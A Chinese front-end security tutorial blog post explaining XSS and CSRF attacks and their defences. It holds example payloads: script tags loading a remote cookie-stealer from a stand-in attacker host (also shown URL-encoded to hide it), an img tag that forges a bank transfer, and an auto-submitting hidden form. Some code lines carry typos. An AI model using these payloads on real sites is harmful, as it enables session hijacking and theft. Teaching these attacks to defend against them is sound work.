JS的33个概念—前端安全（跨站脚本攻击XSS和跨站请求伪造CSRF）

ゞ浴缸里的玫瑰 2021-11-22 10:36 596阅读 0赞

### 1.跨站脚本攻击(XSS) ###

**1）定义**

> 跨站脚本攻击是基于web应用中已知的漏洞，服务端，或者依赖的插件系统。利用其中一种方式，攻击者可以把恶意内容放进目标站点传输的内容中。当这种结合的内容到达客户端的浏览器中，它就已经变成从受信任的来源传输的，然后在系统授权下进行操作。通过寻找把恶意脚本注入web页面的方法，攻击者可以获取对敏感页面的访问权限，例如对session cookie和浏览器代表用户维护的其他信息。跨站脚本攻击是代码注入的一种方式。

**2）概念**

反射型，存储型，基于DOM三种。

**反射型**

到目前为止，非持久型(反射型)跨站脚本漏洞是最基本的web漏洞。当web客户端提供数据时，就会出现这种漏洞，常见于HTTP查询参数(例如，HTML表单提交)，服务端脚本在没有正确过滤请求时，就立即解析并展示页面结果给用户。

因为html文档是流式结构并且混合了控制状态，格式化，真实内容，结果页面中包含的任何未经验证的用户提交数据，如果没有正确的进行html编码，都有可能导致标签注入。一个典型例子是一个网站搜索引擎：如果搜索了一个字符串，这个搜索字符串通常会在搜索页再显示一次，告诉用户搜索了什么。如果响应没有正确忽略或者拒绝html控制字符串，跨站脚本风险随之而来。

一次反射型攻击通常通过邮件或者中立的站点来实施。诱饵通常是一个看起来安全的url，指向一个受信任的站点，但是包含XSS载体。如果受信任的站点容易受到载体影响，点击这个链接可能会导致受害者的浏览器执行注入脚本。

**持久型**

持久型(又称存储型)XSS漏洞是一种更有破坏性的跨站脚本缺陷的变种：当攻击者提供的数据保存到了服务端，然后永久的显示在“正常”页面，并且其他用户在浏览器是可以看到，如果这些数据没有经过正确的html编码，就会发生这种攻击。一个典型的例子就是在线留言板，允许用户发布html格式的信息，可以让其他用户看到。

例如，假设有一个数据站点，其中的会员浏览了其他会员的信息，看下是否感兴趣。由于隐私的原因，这个站点会隐藏每个用户的真实姓名和email，这些信息加密保存在服务端，只有当会员登录后才能在浏览器中看到自己真实的姓名和email，但是不能查看其他人的。

假设有一个攻击者，加入了这个站点，并且想要估算出他在站点上看到的用户的真实姓名。要做到这一点，他写了一段脚本，目的是当其他用户看他的个人信息时可以在其他人的浏览器上运行。然后这段脚本发送信息到他自己的服务器，然后就可以搜集这些信息。

为了这么做，对于“描述你的第一次约会”这样问题，攻击者给了一个简短答案（看起来很正常），但是在攻击者答案的最后是一段窃取姓名和email的脚本，如果脚本内嵌在`<script>`标签中，它就不会在屏幕上显示。然后假设这个站点上的另一个用户看到了攻击者的个人信息，并且查看了攻击者对“描述你的第一次约会”问题的回答，然后攻击者的脚本就会通过浏览器自动的运行，并且从用户自己的机器上窃取了他的真实姓名和email。

持久性XSS漏洞比其他类型都要重要，因为攻击者的恶意脚本可以自动渲染，不需要单独定位受害者或者诱使受害者到第三方网站。特别在一些社交网站上，这些代码可以进一步的通过账号体系被设计成自蔓延型，创造一种客户端蠕虫病毒。

注入方法可以变化很大；在一些场景中，攻击者甚至都不需要与web有功能性的交互。web应用接收的(通过邮件，系统日志，IM等)任意可以被攻击者控制的数据都有可能变成注入载体。

**服务端与基于DOM的漏洞**

以往第一次发现的XSS漏洞发生在所有数据处理都在服务端完成的应用中。用户输入(包含一个XSS载体)将会被发送到服务端，然后作为一个web页面返回给用户。为了提高用户体验，主流的web应用有大部分的展示逻辑是在客户端运行的，通过[AJAX][]的方式从服务端拉取或者请求数据。

js代码也可以处理用户输入，然后渲染到页面内容中，一种新的反射型XSS攻击的子类型开始出现，被称为基于DOM的跨站脚本攻击。在基于DOM的跨站脚本攻击中，恶意数据不用和服务端交互。相反，它会被js代码完全反射在客户端侧执行。

基于DOM的XSS漏洞的例子是2011年在JQuery插件中发现的一个bug。阻止这种攻击的策略和对待传统XSS攻击的策略类似，只不过是在js代码中实施。一些js框架内建了防止XSS攻击的处理策略，例如Angular.js。

**3）示例**

攻击者想要利用跨站脚本漏洞，必须以不同的方式对待每种漏洞。对于每一种类型的漏洞，下面都会描述一种特定的攻击载体。下面用到的姓名是专业术语，取自计算机安全领域常用的[Alice和Bob][Alice_Bob]。浏览器开发框架可以被用来攻击web站点和用户的本地环境。

**反射型(非持久型)**

1.  Alice经常访问一个特殊站点，这个站点是Bob托管的。Bob的站点允许Alice以用户名/密码的方式登录，也存储一些敏感信息，例如账单信息。当用户登录时，浏览器保存了一个授权cookie，授权cookie看起来就像无效的字符串，所以客户端，服务端都记得她登录过。
2.  Mallory观察发现Bob的站点包含一个反射型XSS漏洞：
    
    1.  当她访问搜索页面时，她在输入框中输入一个搜索术语然后点击了提交按钮。如果没有找到搜索结果，页面将会展示她搜索的术语然后加上“not found”关键词，此时的url也变成了`http://bobssite.org?q=搜索的术语`。
    2.  一个正常的搜索查询，像"**puppies**"这个词，页面简单的显示“**puppies** not found”，url变成了"`http://bobssite.org?q=puppies`"，这是一个正常行为。
    3.  但是，当她提交了一个异常查询条件，像"`<script type='text/javascript'>alert('xss');</script>`",  
        1.出现一个alert弹窗(提示"xss")。  
        2.页面显示"没有找到`<script type='text/javascript'>alert('xss');</script>`"，然后一个错误的消息提示'xss'。  
        3.url变成了"`http://bobssite.org?q=<script%20type='text/javascript'>alert('xss');</script>`"——这是可以利用的行为。
3.  Mallory伪造了一个URL来利用这种漏洞：
    
    1.  她创建了一个URL`http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>`。她可以选择把ASCII字符串转成十六进制格式，例如：`http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E`，所以当被人看到时无法立马识别这个恶意URL。
    2.  她给Bob站点的一些信任用户发送一封邮件，告诉他们"查收可爱的狗狗！"
4.  Alic收到了这封邮件，她喜欢狗狗，然后点击了这个链接。然后跳转到Bob站点的搜索页，没有找到任何东西，只是显示了"没有找到狗狗"，然后脚本标签执行了，载入了Mallory的脚本authstealer.js(触发了XSS攻击).Alice忘记了这个。
5.  authstealer.js脚本在Alice的浏览器中执行了，就好像它是从Bob的站点加载的。它抓取了Alice的授权Cookie，然后把它发送到Mallory的服务器，然后Mallory获取到它。
6.  Mallory现在把Alice的授权Cookie放进她自己的浏览器，就好像它是自己的一样。然后她打开Bob的站点，以Alice的身份登录了。
7.  登录之后，Mallory进入账单模块，找到Alice的信用卡号码，然后拷贝了一。然后她更改了密码，这样Alice就不能再登录了。
8.  她决定更进一步，发送一个相似的链接给Bob自己，为了获取管理员权限。

可以通过以下几件事情来降低这种攻击风险：

*  搜索框有正确的编码检查。
 *  服务端设置成重定向无效请求。
 *  服务端可以检测到同时登陆，然后失效session。
 *  服务端检测来自不同IP地址的同时登陆，然后失效session。
 *  站点可以只显示用户使用的信用卡后几位数字。
 *  在更改注册信息时，站点要求用户再次输入密码。
 *  站点可以制定不同方面的内容安全策略。
 *  教育用户不要点击看起来良好，但实际恶意的链接。
 *  把[cookie][]设置成`HttpOnly`，阻止js获取。

**存储型(持久型攻击)**

1.  Mallory获取了Bob站点上的一个账号。
2.  Mallory观察发现Bob的站点包含一个存储型XSS漏洞。如果去新闻版块，然后发表一条评论，无论他在评论区输入什么都会被显示出来。但是如果评论文本包含HTML标签，标签将会按照原本要显示的方式显示出来的话，任意的script标签都可以运行。
3.  Mallory在新闻版本读了一条新闻，然后再评论区增加了一条评论。在评论内容中，她插入了这样的文本:`I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">`。
4.  当Alice或者其他人加载了带这条评论的页面，Mallory的脚本开始执行，然后窃取了Alice的授权cookie，然后发送给Mallory的服务端。
5.  现在Mallory可以劫持了Alice的Session，并且可以冒充Alice。

Bob的站点应该可以剥离这些脚本标签或者做某些处理不让脚本标签生效，但是实际上他并没有处理这个安全漏洞。

**4）预防手段**

上下文输出编码/转码字符串输入

上下文输出编码/转码可以被用来作为基本的防御机制来阻止XSS攻击。有几转码机制可以使用，依赖不受信任的字符串需要放在HTML文档里面的那个位置，包括html实体编码，js转码，css转码，URL编码。大部分不需要接受富文本的web应用可以以一种直接的方式使用转码消除大部分的XSS攻击。

尽管广泛推荐，HTML实体编码只有[五种有意义的字符][Link 1]，不足够阻止形式多样的XSS攻击。由于编码并不简单，所以安全编码库通常更容易使用。

安全验证不可信的HTML输入

有些特殊的web应用允许用户使用某些HTML标签。接受用户的HTML输入(例如<b>very</b> large)，输出编码( <b>very</b> large)就够了，因为用户输入需要浏览器解析成HTML渲染，所以会显示成“**very** large”，而不是“<b>very</b> large”。在接受用户HTML输入的时候阻止XSS攻击比这种情况要复杂的多。不受信任的HTML输入必须通过一个HTML过滤引擎来确保不含有XSS代码。

还需要注意许多验证依赖具体解析的html标签(黑名单)，例如下面的

这种方式也有很多问题，例如有时看起来无害的标签正确使用可能被遗漏，但是仍然会产生XSS，看下面的例子

< img src="javascript:alert(1)">

另一种流行的方法是移除用户输入的"和'，尽管这样也可能被遗漏，通过[代码混淆][Link 2]的方式。

cookies安全

除了内容过滤，其他不完美的处理跨站脚本也经常被使用。一个例子就是当处理基于[cookie][]的用户权限认证时，使用额外安全控制。许多web应用依赖session cookie在独立的HTTP请求中做授权验证，因为客户端脚本通常都有获取这些cookies的权限，所以简单的XSS漏洞就可以窃取这些cookies。为了降低这种风险(虽然不是普通的XSS问题)，许多web应用会把session cookies和用户开始登陆时的ip地址绑定，这样就可以只允许特定ip使用cookie。这种方式在大多数情况下都有效(如果攻击者只获取cookie)，但是如果攻击使用相同的IP地址或者web代理冒充受害者或者受害者改变他的[Mobile IP][]，这种方式就不再适用了。

其他解决方案是IE6+，Firefox2.0+，Safari4+，Opera9.5+，Chrome浏览器支持web服务端设置cookie的*HttpOnly*属性，这样客户端脚本就无法获取cookie。尽管这样有用，但是也不能完全阻止cookie窃取，也不能阻止浏览器内的攻击。

禁用脚本

尽管在web2.0时代，[Ajax][AJAX]开发需要使用js，有些web应用还是不依赖客户端js开发的。如果选用这种方式，可以选择再浏览器中禁用脚本。通过这种方式，尽管潜在的恶意客户端脚本会未经转义的嵌入到页面中，用户不会轻易受到XSS攻击。

一些浏览器或者浏览器插件可以设置成禁止每个域上的客户端脚本。如果默认允许脚本执行，这种方式的价值也是有限的，因为只有用户知道他访问的网站是恶意网站之后才会禁止这个站点的脚本执行，这样的话就有点晚了。默认禁止所有的脚本和外部依赖，然后允许用户对单个域设置开启可能更有效。IE4+通过设置"安全区域"来实现，Opera9+则使用"网站特定偏好"实现。Firefox和其他基于Gecko的浏览器的解决方法是开源的NoScript插件，可以增加在每个域上启动脚本的能力，甚至在启动脚本时，提供一些XSS保护。

默认禁止所有站点的脚本最大的问题可能会显著降低网站的功能和响应(客户端脚本比服务端脚本要快，因为它不需要连接远程服务器，页面或者frame不需要重新加载)。另一个问题就是许多用户不理解这个，不知道如何正确的保护他们的浏览器。还有另一个问题就是没有客户端脚本支持，需要网站无法正常工作。Firefox的NoScript插件允许用户设置允许页面中部分脚本执行，但是禁止其它脚本执行。例如，从example.com站点的脚本可以执行，但是advertisingagency.com站点的脚本不允许在相同页面执行。新兴的防守技术

新兴的有三种XSS防御手段。包括[内容安全策略][Link 3]，就是沙箱工具，自动转码模板。这些技术仍然在进化，但是可以期待的是可以大量减少XSS攻击的发生。

> **延伸阅读**
> 
> 扫描服务
> 
> 一些公司提供了一个周期性的扫描服务，本质上就是模拟了从服务端到客户端的攻击，为了验证攻击是否成功。如果攻击成功了，客户端可以收到如何执行的信息，然后就有机会修复这个问题在相同的攻击发生前。通过最新一次检查的站点可以增加一个信任勋章。扫描服务可能无法发现所有可能的漏洞，因此有信任勋章的站点仍然可能会受到新类型的攻击，但是检测服务还是可以发现一些问题的。一旦客户端修改了这些问题，那这些站点就比没使用扫描服务之前安全。对于需要完全避免XSS漏洞的站点，技术评估时，像人工代码评审是必要的环节。另外，如果js在页面上执行，勋章也可以被copy(所以，理论上，这种服务也无法完全避免XSS风险)。
> 
> 相关漏洞 
> 
> 在普通跨站脚本(UXSS,或者Universal XSS)攻击中，浏览器自身的漏洞或者浏览器插件的漏洞都可以被利用(并不是站点中的漏洞，但是XSS攻击一样)。这种攻击通常是匿名的，伴随着DDos攻击，来折中控制网络。
> 
> 有几类漏洞或者攻击技术和XSS有关：跨区域脚本在某些特定浏览器中利用“区域”概念，通常以更高的权限执行代码。[HTTP头注入][HTTP]可以用来创造折中跨站脚本条件，因为HTTP协议层的转码问题(除非启动攻击之外，例如[HTTP响应拆分攻击][HTTP 1]).
> 
> [跨站请求伪造][Link 4](CSRF/XSRF)和XSS几乎相反，它不是利用用户对网站的信任，攻击者(和他的恶意页面)利用网站对客户端软件的信任，提交一些请求，网站相信是授权用户有意识的行为。XSS漏洞(甚至在相同域下运行的其他应用)允许攻击者绕过CSRF预防。
> 
> [隐蔽的重定向][Link 5]利用第三方客户端可能的XSS或者开放重定向攻击。正常的网络钓鱼可能很容易被发现。因为恶意页面URL和正常的网站地址将会有几个字母的区别。和隐蔽重定向不同的是攻击者可以利用真实的网站，通过侵入站点使用一个恶意的登录弹出对话框。
> 
> 最后SQL注入利用的是数据库层面的漏洞。当用户输入没有正确过滤时，任何SQL语句都会被应用执行

### 2.跨站请求伪造(CSRF) ###

**1 )定义**

> CSRF攻击的全称是跨站请求伪造（ cross site request forgery)，是一种对网站的恶意利用，尽管听起来跟XSS跨站脚本攻击有点相似，但事实上CSRF与XSS差别很大，XSS利用的是站点内的信任用户，而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。你可以这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义向第三方网站发送恶意请求。 CRSF能做的事情包括利用你的身份发邮件、发短信、进行交易转账等，甚至盗取你的账号。

1.1、CRSF攻击原理

![aHR0cHM6Ly91cGxvYWQtaW1hZ2VzLmppYW5zaHUuaW8vdXBsb2FkX2ltYWdlcy81MjE5NjUxLTdhZjMxZjY1ZGIzMTJmNjQucG5nP2ltYWdlTW9ncjIvYXV0by1vcmllbnQvc3RyaXAlN0NpbWFnZVZpZXcyLzIvdy81NTYvZm9ybWF0L3dlYnA][]

CRSF攻击原理

1.  首先用户C浏览并登录了受信任站点A；
2.  登录信息验证通过以后，站点A会在返回给浏览器的信息中带上已登录的cookie，cookie信息会在浏览器端保存一定时间（根据服务端设置而定）；
3.  完成这一步以后，用户在没有登出（清除站点A的cookie）站点A的情况下，访问恶意站点B；
4.  这时恶意站点 B的某个页面向站点A发起请求，而这个请求会带上浏览器端所保存的站点A的cookie；
5.  站点A根据请求所带的cookie，判断此请求为用户C所发送的。

因此，站点A会报据用户C的权限来处理恶意站点B所发起的请求，而这个请求可能以用户C的身份发送 邮件、短信、消息，以及进行转账支付等操作，这样恶意站点B就达到了伪造用户C请求站点 A的目的。  
受害者只需要做下面两件事情，攻击者就能够完成CSRF攻击：

*  登录受信任站点 A，并在本地生成cookie；
 *  在不登出站点A（清除站点A的cookie）的情况下，访问恶意站点B。

很多情况下所谓的恶意站点，很有可能是一个存在其他漏洞（如XSS）的受信任且被很多人访问的站点，这样，普通用户可能在不知不觉中便成为了受害者。

1.2、攻击举例

假设某银行网站A以GET请求来发起转账操作，转账的地址为`www.xxx.com/transfer.do?accountNum=l000l&money=10000`，参数accountNum表示转账的账户，参数money表示转账金额。  
而某大型论坛B上，一个恶意用户上传了一张图片，而图片的地址栏中填的并不是图片的地址，而是前而所说的砖账地址：`<img src="http://www.xxx.com/transfer.do?accountNum=l000l&money=10000">`  
当你登录网站A后，没有及时登出，这时你访问了论坛B，不幸的事情发生了，你会发现你的账号里面少了10000块...  
为什么会这样呢，在你登录银行A时，你的浏览器端会生成银行A的cookie，而当你访问论坛B的时候，页面上的<img>标签需要浏览器发起一个新的HTTP请求，以获得图片资源，当浏览器发起请求时，请求的却是银行A的转账地址`www.xxx.com/transfer.do?accountNum=l000l&money=10000`，并且会带上银行A的cookie信息，结果银行的服务器收到这个请求后，会以为是你发起的一次转账操作，因此你的账号里边便少了10000块。  
当然，绝大多数网站都不会使用GET请求来进行数据更新，因此，攻击者也需要改变思路，与时俱进。  
假设银行将其转账方式改成POST提交，而论坛B恰好又存在一个XSS漏洞，恶意用户在它的页面上植入如下代码：

<form id="aaa" action="http://www.xxx.com/transfer.do" metdod="POST" display="none">
        <input type="text" name="accountNum" value="10001"/>
        <input type="text" name="money" value="10000"/>
    </form>
    <script>
        var form = document.forms('aaa');
        form.submit();
    </script>

如果你此时恰好登录了银行A，且没有登出，当你打开上述页面后，脚本会将表单aaa提交，把accountNum和money参数传递给银行的转账地址`http://www.xxx.com/transfer.do`，同样的，银行以为是你发起的一次转账会从你的账户中扣除10000块。  
当然，以上只是举例，正常来说银行的交易付款会有USB key、验证码、登录密码和支付密码等一系列屏障，流程比上述流程复杂得多，因此安全系数也高得多。

1.3、CSRF的防御

**1、尽量使用POST，限制GET**  
GET接口太容易被拿来做CSRF攻击，看上面示例就知道，只要构造一个img标签，而img标签又是不能过滤的数据。接口最好限制为POST使用，GET则无效，降低攻击风险。  
当然POST并不是万无一失，攻击者只要构造一个form就可以，但需要在第三方页面做，这样就增加暴露的可能性。  
**2、将cookie设置为HttpOnly**  
CRSF攻击很大程度上是利用了浏览器的cookie，为了防止站内的XSS漏洞盗取cookie,需要在cookie中设置“HttpOnly”属性，这样通过程序（如JavaScript脚本、Applet等）就无法读取到cookie信息，避免了攻击者伪造cookie的情况出现。  
在Java的Servlet的API中设置cookie为HttpOnly的代码如下：  
`response.setHeader( "Set-Cookie", "cookiename=cookievalue;HttpOnly");`  
**3、增加token**  
CSRF攻击之所以能够成功，是因为攻击者可以伪造用户的请求，该请求中所有的用户验证信息都存在于cookie中，因此攻击者可以在不知道用户验证信息的情况下直接利用用户的cookie来通过安全验证。由此可知，抵御CSRF攻击的关键在于：**在请求中放入攻击者所不能伪造的信息，并且该信总不存在于cookie之中**。鉴于此，系统开发人员可以在HTTP请求中以参数的形式加入一个随机产生的token，并在服务端进行token校验，如果请求中没有token或者token内容不正确，则认为是CSRF攻击而拒绝该请求。  
假设请求通过POST方式提交，则可以在相应的表单中增加一个隐藏域：  
`<input type="hidden" name="_toicen" value="tokenvalue"/>`  
token的值通过服务端生成，表单提交后token的值通过POST请求与参数一同带到服务端，每次会话可以使用相同的token，会话过期，则token失效，攻击者因无法获取到token，也就无法伪造请求。  
在session中添加token的实现代码：

HttpSession session = request.getSession();
    Object token = session.getAttribute("_token");
    if(token == null I I "".equals(token)) {
        session.setAttribute("_token", UUID.randomUUIDO .toString());
    }

**4、通过Referer识别**  
根据HTTP协议，在HTTP头中有一个字段叫Referer，它记录了该HTTP请求的来源地址。在通常情况下，访问一个安全受限的页面的请求都来自于同一个网站。比如某银行的转账是通过用户访问`http://www.xxx.com/transfer.do`页面完成的，用户必须先登录`www.xxx.com`，然后通过单击页面上的提交按钮来触发转账事件。当用户提交请求时，该转账请求的Referer值就会是  
提交按钮所在页面的URL（本例为[www.xxx][]. com/[transfer.do][]）。如果攻击者要对银行网站实施CSRF攻击，他只能在其他网站构造请求，当用户通过其他网站发送请求到银行时，该请求的Referer的值是其他网站的地址，而不是银行转账页面的地址。因此，要防御CSRF攻击，银行网站只需要对于每一个转账请求验证其Referer值即可，如果是以`www.xx.om`域名开头的地址，则说明该请求是来自银行网站自己的请求，是合法的；如果Referer是其他网站，就有可能是CSRF攻击，则拒绝该请求。  
取得HTTP请求Referer：  
`String referer = request.getHeader("Referer");`

**2）延伸**

CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式，通常使用Anti CSRF Token来防御CSRF攻击，同时要注意Token的保密性和随机性。  
并且CSRF攻击问题一般是由服务端解决。  
注：文章大部分内容来源于《大型分布式网站架构 设计与实践》一书。

**3）思考**

Q:在上面的例子中，cookie通常是不能跨域访问的，那为什么会有csrf攻击？csrf说用户访问了A网站，然后又访问恶意网站B, B中也发送请求到A，携带A站的cookie，这样就构成了csrf。可是cookie好像是不支持跨域的吧？

A:**浏览器会依据加载的域名附带上对应域名cookie，又不是发送b站的cookie。**

就是如果用户在a站登录了生成了授权的cookie之类的，然后访问b站，b站故意构造请求a站的请求，如删除操作之类的，用script，img或者iframe之类的加载a站着个地址，浏览器会附带上a站此登录用户的授权cookie信息，这样就构成crsf，会删除掉当前用户的数据

本文参考《安全|常见的Web攻击手段之CSRF攻击》和《前端必备HTTP技能之跨站脚本攻击(XSS)技术详解》这两篇文章

[AJAX]: https://www.jianshu.com/p/610a05e51fef
[Alice_Bob]: https://link.jianshu.com?t=https://en.wikipedia.org/wiki/Alice_and_Bob
[cookie]: https://www.jianshu.com/p/2ceeaef92f20
[Link 1]: https://link.jianshu.com?t=https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references#Predefined_entities_in_XML
[Link 2]: https://link.jianshu.com?t=https://en.wikipedia.org/wiki/Obfuscation
[Mobile IP]: https://link.jianshu.com?t=https://en.wikipedia.org/wiki/Mobile_IP
[Link 3]: https://link.jianshu.com?t=https://en.wikipedia.org/wiki/Content_Security_Policy
[HTTP]: https://link.jianshu.com?t=https://en.wikipedia.org/wiki/HTTP_header_injection
[HTTP 1]: https://link.jianshu.com?t=https://en.wikipedia.org/wiki/HTTP_response_splitting
[Link 4]: https://www.jianshu.com/p/d928fba78cda
[Link 5]: https://link.jianshu.com?t=https://en.wikipedia.org/wiki/Phishing#Covert_redirect
[aHR0cHM6Ly91cGxvYWQtaW1hZ2VzLmppYW5zaHUuaW8vdXBsb2FkX2ltYWdlcy81MjE5NjUxLTdhZjMxZjY1ZGIzMTJmNjQucG5nP2ltYWdlTW9ncjIvYXV0by1vcmllbnQvc3RyaXAlN0NpbWFnZVZpZXcyLzIvdy81NTYvZm9ybWF0L3dlYnA]: /images/20211122/653d6e87786849d0ab05383d8e42a8af.png
[www.xxx]: https://link.jianshu.com?t=http%3A%2F%2Fwww.xxx
[transfer.do]: https://link.jianshu.com?t=http%3A%2F%2Ftransfer.do